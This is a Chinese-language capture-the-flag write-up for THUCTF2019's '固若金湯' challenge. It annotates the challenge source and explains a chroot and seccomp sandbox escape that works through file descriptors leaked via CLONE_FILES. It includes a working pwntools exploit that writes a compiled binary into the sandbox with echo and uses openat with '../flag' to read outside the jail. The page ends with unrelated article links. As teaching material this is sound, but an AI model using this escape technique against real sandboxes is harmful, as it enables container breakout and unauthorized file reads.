[chroot+seccomp逃逸] THUCTF2019 之 固若金湯

題目分析

附件為一個源碼, 其中注釋我都寫好了, 主要就講關鍵的知識點.

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>int main(int argc, char **argv)
{MD5_CTX ctx;char md5_res[17]="";char key[100]="";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);/*struct rlimit 結構體定義了一個資源限制。它包含兩個字段:rlim_cur: 當前資源限制。rlim_max: 最大資源限制。struct rlimit {__kernel_ulong_t rlim_cur;__kernel_ulong_t rlim_max;};*/struct rlimit r;// 設置進程的核心文件大小限制為 0// 這意味著進程在發生段錯誤時不會生成核心 core 文件r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));printf("input your key:\n");read(0, key, 20);// 對 key 進行 md5, 結果保存在 md5_res 中MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for(int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}// 創建一個進程pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{	// dir_name 不存在的話則進行創建并配置相關信息printf("Creating your dir\n");// 創建一個目錄mkdir(dir_name, 0755);printf("Entering your dir\n");// 進入 dir_name 目錄if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 創建相關文件夾mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);// 復制相關文件到當前工作目錄下的文件夾中system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);// filename 為 /proc/pid/uid_map// 文件包含了當前進程的 UID 映射信息// 格式為: <inside-uid> <outside-uid> <count>// <inside-uid> 是進程內部的 UID// <outside-uid> 是進程外部的 UID// <count> 是映射的 UID 的數量sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);// 寫入 0 1000 1// 表示進程內部的 UID 0 映射到進程外部的 UID 1000// 這意味著進程在容器內部的 UID 為 0,但在容器外部的 UID 為 1000if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 更改當前目錄為該進程的根目錄if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}// set seccomp// 設置沙箱, 殺了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系統調用scmp_filter_ctx sec_ctx;sec_ctx = seccomp_init(SCMP_ACT_ALLOW);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);seccomp_load(sec_ctx);// 執行命令, 管道只能寫pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

總的來說功能就是用戶輸入一個 key, 然后對其進行 md5, 用此作為路徑名設置沙箱, 在沙箱中可以執行一條 shell 命令.

漏洞分析

?漏洞主要在下面這句代碼.

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

可以看到其設置了 CLONE_FILES 標志, 這表示父子進程共享文件打開表. 而題目在父進程中打開了以下三個文件并且沒有關閉:( 這里目錄統稱為文件

1)?/home/ctf/sandbox/

2)?/home/ctf/sandbox/md5(key)

3) /proc/pid/uid_map

其對應的文件描述符依次為3, 4, 5. 所以可以利用 openat 函數進行逃逸:

#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
  • dirfd?是要打開文件的目錄的文件描述符。
  • pathname?是要打開的文件的路徑名。
  • flags?是打開文件的標志。

?所以這里如果我們設置 dirfd 為 3, 然后 pathname 使用 ../../ 進行目錄穿越即可完成逃逸

這里有個 demo:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>int main(int argc, char** argv, char** envp)
{FILE* pp;int pid;pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);if (pid){open("/tmp", O_RDONLY);printf("1 Pid: %d\n", getpid());printf("2 Child Pid: %d\n", pid);sleep(30);exit(0);}sleep(1);printf("3 Child pid: %d\n", getpid());pp = popen("echo '4 Pid: '$$;sleep 100", "w");if (!pp) exit(0);pclose(pp);return 0;
}

可以看到4個進程中都存在 3 這個文件描述符并且指向同一位置?

漏洞利用

在漏洞分析階段, 我們已經提出了利用方式, 即通過 openat 配合父進程"遺留"的文件描述符實現逃逸.

但是這里就存在一個問題了, 在題目分析中已經說了, 最后我們只能通過 popen 去執行一個 shell 命令. 而原則上題目只給了 bash, chmod, tee 三個 shell 命令. 而我們最后是要利用 openat 打開 flag文件進行讀取輸出, 所以我們像 kernel pwn 那樣上傳一個 exp 然后執行. 那么如何將 exp 寫入文件呢? 在 kernel pwn 中我們都是通過 echo 來完成的. 這里有 echo 嗎? 答案是有的, 別忘了內建命令.

看看 gpt 的回答:?

  • 可用性不同:內建命令在所有 Linux 系統上都可用,而非內建命令則需要安裝相應的軟件包才能使用。

而我們可以通過 type 去簡單判斷一下是否是內建命令. 比如:

本地復現

修改代碼為如下代碼: 注: 這里僅僅為了本地復現而已, 所以把 seccomp 給刪了:(因為我虛擬機沒下

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>int main(int argc, char **argv)
{char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{printf("Creating your dir\n");mkdir(dir_name, 0755);printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

exp 如下:

import os
from pwn import *
import codecsio = process("./pwn")code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){char buf[20]={0};int fd = openat(4, "../flag", 0);read(fd, buf, 100);write(1, buf, 0x20);printf("Good !\\n");
}
'''a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))io.recv()
io.sendline(payload)
io.recv()
io.interactive()

?效果如下:

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/167599.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/167599.shtml
英文地址,請注明出處:http://en.pswp.cn/news/167599.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【C/PTA —— 10.函數1(課外實踐)】

C/PTA —— 10.函數1&#xff08;課外實踐&#xff09; 一.函數題6-1 符號函數6-2 求排列數6-3 求一個大于10的n位整數w的后n-1位的數&#xff0c;并作為函數值返回。6-4 其右上三角&#xff08;含主對角線&#xff09;元素之和。6-5 字符串比較6-6 使用函數求素數和6-7 使用函…

【電子通識】為什么說做產品不是簡單的將不同的技術進行搭積木?

很多人說做產品的硬件工程師&#xff0c;其實就是將專項技術工程師已經調好的模塊進行拼接。類似于小孩將積木搭成一個房子的形狀&#xff0c;雖然不同人搭的房子風格迥異&#xff0c;但所使用的原材料卻都是一樣的。 首先我并不同意這種看法&#xff0c;原因是產品工程師是需要…

JVM深入理解

JVM深入理解&#xff08;一&#xff09; JVM是什么 JRE、JDK和JVM 的關系 JVM原理 1、JVM是什么&#xff1f; JVM是Java Virtual Machine&#xff08;Java虛擬機&#xff09;的縮寫&#xff0c;由一套字節碼指令集、一組寄存器、一個棧、一個垃圾回收堆和一個存儲方法域等組…

MediaCodec詳解

MediaCodec 是Android平臺提供的一個API&#xff0c;用于對音頻和視頻數據進行編碼&#xff08;轉換為不同的格式&#xff09;和解碼&#xff08;從一種格式轉換回原始數據&#xff09;。它是Android 4.1&#xff08;API級別16&#xff09;及以上版本的一部分&#xff0c;允許開…

Sulfo-CY5 Azide在其他生物學研究中的應用

除了生物成像、生物分子標記、分子生物學研究和生物傳感與診斷等領域外&#xff0c;Sulfo-CY5 Azide還在其他生物學研究中有多種應用&#xff0c;**(來自星戈瑞的花菁染料)**如下&#xff1a; ****細胞追蹤和細胞遷移研究&#xff1a;****Sulfo-CY5 Azide可以被用作細胞標記劑&…

【教3妹學編程-算法題】統計和小于目標的下標對數目

2哥 : 3妹&#xff0c;OpenAI的宮斗劇迎來了大結局&#xff01;OpenAI宣布阿爾特曼復職CEO&#xff0c;董事會重組 3妹&#xff1a;啊&#xff1f;到底誰才是幕后操縱者啊&#xff0c;有咩有揪出來 2哥 : 也不是很清楚&#xff0c;據說在被開除的幾周前&#xff0c;前CEO曾譴責…

Linux 家目錄和根目錄

摘要&#xff1a; 在 Linux 操作系統中&#xff0c;家目錄和根目錄是兩個非常重要的概念。它們是 Linux 文件系統中的兩個關鍵節點&#xff0c;為用戶和系統進程提供存儲、管理和訪問文件和目錄的接口。本文旨在深入探討和理解這兩個目錄的結構、功能和使用方式&#xff0c;同時…

行情分析 - - 加密貨幣市場大盤走勢(11.24)

大餅昨日震蕩幅度很小&#xff0c;而今天延續昨日的空頭思路。當然如果從MACD日線來看&#xff0c;處于上漲趨勢&#xff0c;穩健的可以選擇觀望等待。空頭思路是因為目前EMA21均線和EMA55均線依然保持很遠&#xff0c;最近兩個月BTC上漲40%&#xff0c;而最近持續保持高位很快…

同時可視化原始中心點和經過坐標轉換后的中心點

std::vector<Eigen::Vector2d> centroids_unknown_motion_underk;std::vector<Eigen::Vector2d> measurements_centroids_unknown_motion_k= transformLandmarks(centroids_unknown_motion_k, weights_pose); // 數據填充 // k時刻經過轉換到k-1時刻坐標系下的中心…

Twincat使用:EtherCAT通信掃描硬件設備鏈接PLC變量

EtherCAT通信采用主從架構&#xff0c;其中一個主站設備負責整個EtherCAT網絡的管理和控制&#xff0c;而從站設備則負責在數據環網上傳遞數據。 主站設備可以是計算機、工控機、PLC等&#xff0c; 而從站設備可以是傳感器、執行器、驅動器等。 EL3102:MDP5001_300_CF8D1684;…

Arduino驅動PT100數字K型高溫傳感器(溫濕度傳感器)

目錄 1、傳感器特性 2、控制器和傳感器連線圖 3、硬件原理圖 4、驅動程序 PT100適用于大部分400℃以下高溫的測量,但是通常家用天然氣灶焰芯溫度可達800℃以上,燒制陶瓷的窖子或者大功率電爐溫度更可超過1000℃,在這些超高溫度的場景下就需要用到K型熱電偶。

C# 無法將“int[]“類型隱式轉換為“int?[]“,無法將“string[]“類型隱式轉換為“string?[]“

在 C# 中&#xff0c;不能將 int[] 隱式轉換為 int?[]&#xff0c;因為它們是兩種不同的類型。int[] 是一個整數數組&#xff0c;而 int?[] 是一個可空整數數組。要解決這個問題&#xff0c;你可以使用顯式轉換或創建一個新的可空整數數組。 兩種解決方案供大家選擇 // 示例…

C++編程——輸入

#include<bits/stdc.h> using namespace std; int main(){//beginint a 0, b 0, c 0, d 0, e 0;char f1, f2;char g[30];scanf("%d", &a); //輸入整數并賦值給變量ascanf("%d", &b); //輸入整數并賦值給變量bscanf("%d", &…

關于愛普生L3219彩色噴墨打印機打印過程中噪聲過大的幾點緩解方法

故障描述&#xff1a; 一臺新購買的愛普生L3219使用過程中出現了噪聲過大的問題&#xff0c;每次打印或者復印都或有明顯的噪音過大的現象&#xff0c;目測觀察大概是打印機字車左右來回移動的時候剮蹭滑道的問題&#xff0c;與經銷商溝通后由經銷商聯系上級供貨商更換一臺全新…

CAN實驗

CAN 寄存器 HAL庫函數 代碼 #include "./BSP/CAN/can.h"CAN_HandleTypeDef g_can1_handle; CAN_TxHeaderTypeDef g_can1_txheader; CAN_RxHeaderTypeDef g_can1_rxheader;/* STM32F103 TS1 8 TS2 7 BRP 3 波特率&#xff1a;36000 / [(9 8 1) * 4] 500Kbps …

Qt學習(2)

1.QObject 只有繼承了QObject類的類&#xff0c;才具有信號槽的能力。所以&#xff0c;為了使用信號槽&#xff0c;必須繼承QObject。凡是QObject類&#xff08;不管是直接子類還是間接子類&#xff09;&#xff0c;都應該在第一行代碼寫上Q_OBJECT。不管是不是使用信號槽&…

【Java 進階篇】Jedis 操作 String:Redis中的基礎數據類型

在Redis中&#xff0c;String是最基礎的數據類型之一&#xff0c;而Jedis作為Java開發者與Redis交互的利器&#xff0c;提供了豐富的API來操作String。本文將深入介紹Jedis如何操作Redis中的String類型數據&#xff0c;通過生動的代碼示例和詳細的解釋&#xff0c;讓你輕松掌握…

C# 中using關鍵字的使用

在C#中我們還是很有必要掌握using關鍵字的。 比如這樣&#xff1a; string path “D:\data.txt”; if (!File.Exists(path )) {File.Create(path); File.WriteAllText(path,"OK"); } 首先我創建…

正則表達式(Java)(韓順平筆記)

正則表達式&#xff08;Java&#xff09; 底層實現 package com.hspedu.RegExp;import java.util.regex.Matcher; import java.util.regex.Pattern;public class RegExp00 {public static void main(String[] args) {String content "1998年12月8日&#xff0c;第二代J…

【Promise】某個異步方法執行結束后 在執行下面方法

使用Promise &#xff0c;當 layer.msg(查詢成功) 這個方法執行結束后 &#xff0c;下面代碼才會執行 let thas this async function showMessage() {await new Promise(resolve > layer.msg(查詢成功, resolve));// 這里的代碼將在 layer.msg 執行結束后執行thas.isGuaran…